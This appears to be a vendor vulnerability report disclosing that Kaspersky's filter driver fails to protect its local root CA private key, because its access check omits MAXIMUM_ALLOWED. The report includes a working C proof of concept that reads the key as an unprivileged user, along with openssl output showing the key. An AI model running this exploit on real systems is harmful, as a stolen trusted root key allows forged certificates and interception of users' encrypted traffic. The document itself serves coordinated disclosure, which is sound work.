Kaspersky: Local CA root is incorrectly protected 




When Kaspersky generate a private key for the local root, they store the private key in %ProgramData%. Obviously this file cannot be shared, because it's the private key for a trusted local root certificate and users can use it to create certificates, sign files, create new roots, etc. If I look at the filesystem ACLs, I should have access, and was about to complain that they've done this incorrectly, but it doesn't work and it took me a while to figure out what they were doing.

$ icacls KLSSL_privkey.pem
KLSSL_privkey.pem BUILTIN\Administrators:(I)(F)
                  BUILTIN\Users:(I)(RX) <-- All users should have read access
                  NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files
$ cat KLSSL_privkey.pem
cat: KLSSL_privkey.pem: Permission denied

Single stepping through why this fails, I can see their filter driver will deny access from their PFLT_POST_OPERATION_CALLBACK after checking the Irpb. That sounds difficult to get right, and reverse engineering the filter driver, I can see they're setting Data->IoStatus.Status = STATUS_ACCESS_DENIED if the Irpb->Parameters (like DesiredAccess or whatever) don't match a hardcoded bitmask.

But the blacklist is insufficient, they even missed MAXIMUM_ALLOWED (?!!!). This is trivial to exploit, any unprivileged user can now become a CA.

#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    HANDLE File;
    BYTE buf[2048] = {0};
    DWORD count;

    File = CreateFile("c:\\ProgramData\\Kaspersky Lab\\AVP17.0.0\\Data\\Cert\\KLSSL_privkey.pem",
            MAXIMUM_ALLOWED,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL);
    if (File != INVALID_HANDLE_VALUE) {
        if (ReadFile(File, buf, sizeof(buf), &count, NULL) == TRUE) {
            setmode(1, O_BINARY);
            fwrite(buf, 1, count, stdout);
        }
        CloseHandle(File);
        return 0;
    }
    return 1;
}
$ cl test.c
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

test.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:test.exe
test.obj
$ ./test.exe | openssl rsa -inform DER -text -noout
Private-Key: (2048 bit)
modulus:
    00:b4:3f:57:21:e7:c3:45:e9:43:ec:b4:83:b4:81:
    bb:d3:3b:9b:1b:da:07:55:68:e0:b1:75:38:b9:66:
    0d:4c:e4:e7:f3:92:01:fb:33:bf:e6:34:e4:e8:db:
    f1:7c:53:bc:95:2c:2d:08:8d:7c:8c:03:71:cd:07:


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: taviso